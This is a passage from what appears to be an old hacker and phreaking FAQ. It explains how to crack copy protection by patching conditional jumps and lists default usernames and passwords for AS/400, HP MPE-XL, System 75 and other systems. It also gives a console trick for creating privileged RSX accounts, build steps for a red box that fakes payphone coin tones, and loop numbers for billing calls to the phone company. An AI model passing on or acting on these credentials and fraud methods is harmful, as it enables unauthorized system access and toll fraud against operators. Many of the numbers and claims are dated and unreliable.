protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself. Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions. N 24. What is this system? AS/400 ~~~~~~ > UserID? > Password? > > Once in, type GO MAIN CDC Cyber ~~~~~~~~~ > WELCOME TO THE NOS SOFTWARE SYSTEM. > COPYRIGHT CONTROL DATA 1978, 1987. > > 88/02/16. 02.36.53. N265100 > CSUS CYBER 170-730. NOS 2.5.2-678/3. > FAMILY: > > You would normally just hit return at the family prompt. Next prompt is: > > USER NAME: Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ > MPE XL: > EXPECTED A :HELLO COMMAND. (CIERR 6057) > MPE XL: > EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) > MPE XL: GTN ~~~ > WELCOME TO CITIBANK. PLEASE SIGN ON. > XXXXXXXX > > @ > PASSWORD = > > @ > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > PLEASE ENTER YOUR ID:-1-> > PLEASE ENTER YOUR PASSWORD:-2-> > > CITICORP (CITY NAME). KEY GHELP FOR HELP. > XXX.XXX > PLEASE SELECT SERVICE REQUIRED.-3-> PRIMOS ~~~~~~ > PRIMENET 19.2.7F PPOA1 > > > > ER! > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > CONNECT > Primenet V 2.3 (system) > LOGIN (you) > User id? (system) > SAPB5 (you) > Password? (system) > DROWSAP (you) > OK, (system) ROLM-OSL ~~~~~~~~ > MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 > RELEASE 8003 > OSL, PLEASE. > ? Tops-10 ~~~~~~~ > NIH Timesharing > > NIH Tri-SMP 7.02-FF 16:30:04 TTY11 > system 1378/1381/1453 Connected to Node Happy(40) Line # 12 > Please LOGIN > . VM/370 ~~~~~~ > VM/370 > ! N 25. What are the default accounts for XXX? AS/400 ~~~~~~ > qsecofr/qsecofr (master security officer) > qsysopr/qsysopr (system operator) > qpgmr/qpgmr (default programmer) > > also > > secofr/secofr (sometimes...) > ibm/password > ibm/2222 > ibm/service Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ > Format is Account.Group,Job > > HELLO Account Password > ~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~ > HELLO MANAGER.SYS > HELLO MGR.SYS > HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP > HELLO OP.OPERATOR > MGR .CAROLIAN > MGR .CCC > MGR .CNAS > MGR .CONV > MGR .COGNOS > OPERATOR .COGNOS > MANAGER .COGNOS > OPERATOR .DISC > MGR .HPDESK > MGR .HPWORD > FIELD .HPWORD > MGR .HPOFFICE > SPOOLMAN .HPOFFICE > ADVMAIL .HPOFFICE > MAIL .HPOFFICE > WP .HPOFFICE > MANAGER .HPOFFICE > MGR .HPONLY > FIELD .HPP187 > MGR .HPP187 > MGR .HPP189 > MGR .HPP196 > MGR .INTX3 > MGR .ITF3000 > MANAGER .ITF3000 > MAIL .MAIL > MGR .NETBASE > MGR .REGO > MGR .RJE > MGR .ROBELLE > MANAGER .SECURITY > MGR .SECURITY > FIELD .SERVICE > MANAGER .SYS > MGR .SYS > PCUSER .SYS > RSBCMON .SYS > OPERATOR .SYS > OPERATOR .SYSTEM > FIELD .SUPPORT > OPERATOR .SUPPORT > MANAGER .TCH > MAIL .TELESUP > MANAGER .TELESUP > MGR .TELESUP > SYS .TELESUP > MGE .VESOFT > MGE .VESOFT > MGR .WORD > MGR .XLSERVER > > Common jobs are Pub, Sys, Data > Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote PICK O/S ~~~~~~~~ > DSA # Desquetop System Administrator > DS > DESQUETOP > PHANTOM Rolm ~~~~ > CBX Defaults > > op op > op operator > su super > admin pwp > eng engineer > > > PhoneMail Defaults > > sysadmin sysadmin > tech tech > poll tech RSX ~~~ > SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) > 1,1/system (Directory [1,1] Password SYSTEM) > BATCH/BATCH > SYSTEM/MANAGER > USER/USER > > Default accounts for Micro/RSX: > > MICRO/RSX > > Alternately you can hit when the boot sequence asks you for the > date and create an account using: > > RUN ACNT > or RUN $ACNT > > (Numbers below 10 {oct} are Priveledged) > > Reboot and wait for the date/time question. Type ^C and at the MCR prompt, > type "abo at." You must include the . dot! > > If this works, type "acs lb0:/blks=1000" to get some swap space so the > new step won't wedge. > > type " run $acnt" and change the password of any account with a group > number of 7 or less. > > You may find that the ^C does not work. Try ^Z and ESC as well. > Also try all 3 as terminators to valid and invalid times. > > If none of the above work, use the halt switch to halt the system, > just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. > then deposit 177777 into R6, cross your fingers, write protect the drive > and continue the system. This will hopefully result in indirect blowing > up... And hopefully the system has not been fully secured. System 75 ~~~~~~~~~ > Username Passwords > ~~~~~~~~ ~~~~~~~~~ > bcim bcimpw > bciim bciimpw > bcms bcmspw, bcms > bcnas bcnspw > blue bluepw > browse looker, browsepw > craft crftpw, craftpw, crack > cust custpw > enquiry enquirypw > field support > inads indspw, inadspw, inads > init initpw > kraft kraftpw > locate locatepw > maint maintpw, rwmaint > nms nmspw > rcust rcustpw > support supportpw > tech field Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ > Default password: 166816 N 26. What port is XXX on? The file /etc/services on most Unix machines lists the activity occuring on each port. Here is a sample /etc/services file from Linux: # # services This file describes the various services that are # available from the TCP/IP subsystem. It should be # consulted instead of using the numbers in the ARPA # include files, or, worse, just guessing them. # # Version: @(#)/etc/services 3.02 02/21/93 # # Author: Fred N. van Kempen, # tcpmux 1/tcp # rfc-1078 echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp qotd 17/tcp quote chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver rlp 39/udp resource # resource location name 42/udp nameserver whois 43/tcp nicname # usually to sri-nic domain 53/tcp domain 53/udp mtp 57/tcp # deprecated bootps 67/udp # bootp server bootpc 68/udp # bootp client tftp 69/udp rje 77/tcp finger 79/tcp link 87/tcp ttylink supdup 95/tcp # BSD supdupd(8) hostnames 101/tcp hostname # usually to sri-nic iso-tsap 102/tcp x400 103/tcp # ISO Mail x400-snd 104/tcp csnet-ns 105/tcp pop-2 109/tcp # PostOffice V.2 pop-3 110/tcp # PostOffice V.3 sunrpc 111/tcp sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP sunrpc 111/udp sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP ident 113/tcp auth tap # identd sftp 115/tcp uucp-path 117/tcp nntp 119/tcp usenet # Network News Transfer ntp 123/tcp # Network Time Protocol ntp 123/udp # Network Time Protocol netbios-ns 137/tcp nbns netbios-ns 137/udp nbns netbios-dgm 138/tcp nbdgm netbios-dgm 138/udp nbdgm netbios-ssn 139/tcp nbssn NeWS 144/tcp news # Window System snmp 161/udp snmp-trap 162/udp exec 512/tcp # BSD rexecd(8) biff 512/udp comsat login 513/tcp # BSD rlogind(8) who 513/udp whod # BSD rwhod(8) shell 514/tcp cmd # BSD rshd(8) syslog 514/udp # BSD syslogd(8) printer 515/tcp spooler # BSD lpd(8) talk 517/udp # BSD talkd(8) ntalk 518/udp # SunOS talkd(8) efs 520/tcp # for LucasFilm route 520/udp router routed # 521/udp too timed 525/udp timeserver tempo 526/tcp newdate courier 530/tcp rpc # experimental conference 531/tcp chat netnews 532/tcp readnews netwall 533/udp # -for emergency broadcasts uucp 540/tcp uucpd # BSD uucpd(8) UUCP service new-rwho 550/udp new-who # experimental remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem rmonitor 560/udp rmonitord # experimental monitor 561/udp # experimental pcserver 600/tcp # ECD Integrated PC board srvr mount 635/udp # NFS Mount Service pcnfs 640/udp # PC-NFS DOS Authentication bwnfs 650/udp # BW-NFS DOS Authentication listen 1025/tcp listener RFS remote_file_sharing nterm 1026/tcp remote_login network_terminal ingreslock 1524/tcp tnet 1600/tcp # transputer net daemon nfs 2049/udp # NFS File Service irc 6667/tcp # Internet Relay Chat dos 7000/tcp msdos # End of services. Section B: Telephony ~~~~~~~~~~~~~~~~~~~~ 01. What is a Red Box? When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin. The actual tones are: Nickel Signal 1700+2200 0.060s on Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating 02. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal (the largest shiny metal component). The exact value needed is 6.502457409Mhz. Unfortunately, that crystal is not commonly manufactured. A crystal close to that value will create a tone that falls within tolerances. The most popular choice is the 6.5536Mhz crystal. When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1. 03. Where can I get a 6.5536Mhz crystal? Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done. Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are: JDR Microdevices: 2233 Branham Lane San Jose, CA 95124 (800)538-5000 Part Number: 6.5536MHZ Tandy Express Order Marketing 401 NE 38th Street Fort Worth, TX 76106 (800)241-8742 Part Number: 10068625 04. Which payphones will a Red Box work on? Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). 05. What is a Blue Box? Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box. 06. Do Blue Boxes still work? Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling Systems) use out-of-band-signalling. Nothing you send over the voice portion of bandwidth can control the switch. 07. What is a Black Box? A Black Box is a 10k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. 08. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every fone out in the immediate area Blue Emulate a true operator by siezing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a divertor Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp use to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Divertor Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Trace calls, tell if the call is being traced, and can change a trace Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc.. Tan Line activated telephone recorder Tron Reverse the phase of power to your house, causing your electric meter to run slower TV Cable "See" sound waves on your TV Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset Violet Keep a payphone from hanging up White Portable DTMF keypad Yellow Add an extension phone 09. What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. A trick to getting the number of the phone line you are calling from is to call an (800) phone sex line. Example: (800)571-8859. These systems will give you an account number, which in many cases includes the telephone number of the phone from which you are calling. Another useful 800 ANAC number is the Duke Power Company Automated Outage System at (800)769-3766. The system will read back to you the phone number from which you are calling. Even another 800 ANAC number is Info Access Telephone Company's Automated Blocking line at (800)568-3197. It will read back to you the number from which you are calling, and ask if you would like it blocked. (800)3282-630 is another sex line that will give you (after a bit of work) the last four digits of the phone number you are calling from. An non-800 ANAC that works nationwide is 404-988-9664. Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers. NPA ANAC number Comments --- --------------- --------------------------------------------- 202 958-xxxx Dictrict of Columbia 203 960 CT (All) 203 970 CT (All) 204 644-xxxx Manitoba 205 908-222-2222 Birmingham, AL 206 411 WA /* Not US West */ 207 958 ME (All) 209 830 Stockton, CA 212 958 Manhattan, NY 213 114 Los Angeles, CA 213 1223 Los Angeles, CA /* some 1AESS switches */ 213 211-2345 Los Angeles, CA /* English response */ 213 211-2346 Los Angeles, CA /* DTMF response */ 213 61056 Los Angeles, CA 214 790 Dallas, TX /* GTE */ 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX /* Southwestern Bell */ 215 410-xxxx Philadelphia, PA 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 301 958-9968 Hagerstown/Rockville, MD 305 200-222-2222 Ft. Lauderdale/Key West/Miami, FL 309 200-xxx-xxxx Peoria/Rock Island, IL 310 114 Long Beach, CA /* on many GTE switches */ 310 1223 Long Beach, CA /* some 1AESS switches */ 310 211-2345 Long Beach, CA /* English response */ 310 211-2346 Long Beach, CA /* DTMF response */ 312 200 Chicago, IL 312 290 Chicago, IL 312 1-200-8825 Chicago, IL (Last four change rapidly) 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 511 Columbia/Jefferson City, MO 317 310-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 401 222-2222 RI (All) 402 311 Lincoln, NE 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 404 311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 405 897 Enid/Oklahoma City, OK 407 200-222-2222 Orlando/West Palm Beach, FL 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-6969 Annapolis/Baltimore, MD 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR /* not all parts of town */ 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 512 200-222-2222 Austin/Corpus Christi, TX 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 515 5463 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY 602 593-0809 Phoenix, AZ 602 593-6017 Phoenix, AZ 602 593-7451 Phoenix, AZ 603 200-222-2222 NH (All) 606 997-555-1212 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 612 511 Minneapolis/St.Paul, MN 615 200200200200200 Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA /* Woburn, MA */ 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) 708 356-9646 Chicago/Elgin, IL 713 970-xxxx Houston, TX 714 211-2121 Anaheim, CA /* GTE */ 716 511 Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */ 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY 802 2-222-222-2222 Vermont (All) 802 200-222-2222 Vermont (All) 805 830 San Luis Obispo, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Michigan 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX /* Southwestern Bell */ 818 1223 Pasadena, CA /* some 1AESS switches */ 818 211-2345 Pasadena, CA /* English response */ 818 211-2346 Pasadena, CA /* DTMF response */ 906 200-222-2222 Marquette/Sault Ste. Marie, MI 908 958 New Brunswick, NJ 910 311 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX 919 711 Durham, NC Canada: 306 115 Saskatchewan, Canada 416 410-xxxx Toronto, Ontario 416 997-xxxx Toronto, Ontario 514 320-xxxx Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia, Canada 604 1211 British Columbia, Canada 604 211 British Columbia, Canada 613 320-2232 Ottawa, Ontario 705 320-xxxx Saulte Ste. Marie, Ontario Australia: +61 03-552-4111 Victoria 03 area +61 19123 All major capital cities United Kingdom: 175 10. What is a ringback number? A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. 11. What is the ringback number for my area? An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations. 201 551-xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx District of Columbia 203 991-xxxx CT (All) 209 890-xxxx Stockton, CA 213 1-95x-xxxx Los Angeles, CA 301 958-xxxx Hagerstown/Rockville, MD 303 99X-xxxx Grand Junction, CO 312 511-xxxx Chicago, IL 312 511-xxx-xxxx Chicago, IL 312 57?-xxxx Chicago, IL 412 985-xxxx Pittsburgh, PA 415 350-xxxx San Francisco, CA 501 721-xxx-xxxx AR (All) 502 988 Lexington, KY 504 9988776655 Baton Rouge/New Orleans, LA 512 95X-xxxx Austin, TX 601 777-xxxx MS (All) 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA 703 958-xxxx Alexandria/Arlington/Roanoke, VA 716 981-xxxx Rochester, NY /* Rochester Tel */ 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah (All) 801 939-xxxx Utah (All) 805 114 Bakersfield/Santa Barbara, CA 813 711 Ft. Meyers/St. Petersburg/Tampa, FL 908 55?-xxxx New Brunswick, NJ 914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY Canada: 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario 514 320-xxx-xxxx Montreal, Quebec 613 999-xxx-xxxx Ottawa, Ontario Australia: +61 199 United Kingdom: 174 12. What is a loop? This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. 13. What is a loop in my area? Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research. NPA High Low --- -------- -------- 201 228-9929 228-9930 201 238-9929 238-9930 201 251-9929 251-9930 201 254-9929 254-9930 201 272-9929 272-9930 201 330-9929 330-9930 201 333-9929 333-9930 201 339-9929 339-9930 201 347-9929 347-9930 201 376-9929 376-9930 201 398-9929 398-9930 201 467-9929 467-9930 201 528-9929 528-9930 201 558-9929 558-9930 201 559-9929 559-9930 201 560-9929 560-9930 201 592-9929 592-9930 201 625-9929 625-9930 201 631-9929 631-9930 201 637-9929 637-9930 201 655-9929 655-9930 201 666-9929 666-9930 201 690-9929 690-9930 201 761-9929 761-9930 201 762-9929 762-9929 201 762-9929 762-9930 201 762-9929 762-9929 201 763-9929 763-9930 201 764-9929 764-9930 201 767-9929 767-9930 201 768-9929 768-9930 201 773-9929 773-9930 201 879-9929 879-9930 201 946-9929 946-9930 201 992-9929 992-9930 201 993-9929 993-9930 201 994-9929 994-9930 213 360-1118 360-1119 213 365-1118 365-1119 213 455-0002 455-xxxx 213 455-0002 455-XXXX 213 546-0002 546-XXXX 213 546-0002 546-xxxx 305 778-9952 778-9951 305 964-9951 964-9952 312 222-9973 222-9974 312 234-9973 234-9974 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 313 995-9996 995-9997 402 422-0001 422-0002 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0009 ALL-PREF 402 422-0003 422-0004 402 422-0009 ALL-PREF 402 422-0001 422-0002 402 572-0003 572-0004 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 616 997-9996 997-9997 616 ALL-PREF ALL-PREF 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 714 535-1118 535-1119 714 538-1118 538-1119 714 858-1118 858-1119 714 879-1118 879-1119 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 813 385-9971 908 776-9930 776-9930 14. What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find it's phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may now legally get CNA information from private companies. Two such companies are: Unidirectory (900)933-3330 Telename (900)884-1212 Note that these are 900 numbers, and will cost you approximately one dollar per minute. 15. What is the telephone company CNA number for my area? 203 203-771-8080 CT (All) 614 614-464-0123 Columbus/Steubenville, OH 813 813-270-8711 Ft. Meyers/St. Petersburg/Tampa, FL 16. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc .99b8. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. 17. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ- It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. 18. Where can I purchase a lineman's handset? Time Motion Tools 12778 Brookprinter Place Poway, CA 92064 (619)679-0303 Contact East 335 Willow Street North Andover, MA 01845-5995 (508)682-2000 DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touchpad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones. 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D Section C: Resources ~~~~~~~~~~~~~~~~~~~~ 01. What are some ftp sites of interest to hackers? aql.gatech.edu bellcore.com cert.org crimelab.com cyberspace.com deimos.cs.uah.edu freeside.com ftp.csua.berkeley.edu /pub/cypherpunks ftp.eff.org /pub/cud ftp.etext.org ftp.mcs.com /mcsnet.users/crisadm/stuff/research/samples ftp.netcom.com /pub/bradleym ftp.netcom.com /pub/zzyzx ftp.rahul.net /pub/lps ftp.std.com /obi/Mischief/ ftp.std.com /archives/alt.locksmithing ftp.warwick.ac.uk ftp.win.tue.nl ftp.winternet.com /users/craigb garbo.uwasa.fi /pc/crypt ghost.dsi.unimi.it /pub/crypt grind.isca.uiwa.edu hack-this.pc.cc.cmu.edu halcyon.com ideal.ios.net lcs.mit.edu /* Telecom archives */ mary.iia.org /pub/users/patriot nic.funet.fi /pub/doc/cud paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics/ pyrite.rutgers.edu ripem.msu.edu /pub/crypt rtfm.mit.edu sekurity.com spy.org theta.iis.u-tokyo.ac.jp /pub1/security vincent2.iastate.edu login: anonymous.mabell /* Closed for the Summer */ wimsey.bc.ca /pub/crypto Here is the list again, this time in .netrc format: machine aql.gatech.edu login anonymous password root@ machine bellcore.com login anonymous password root@ machine cert.org login anonymous password root@ machine crimelab.com login anonymous password root@ machine 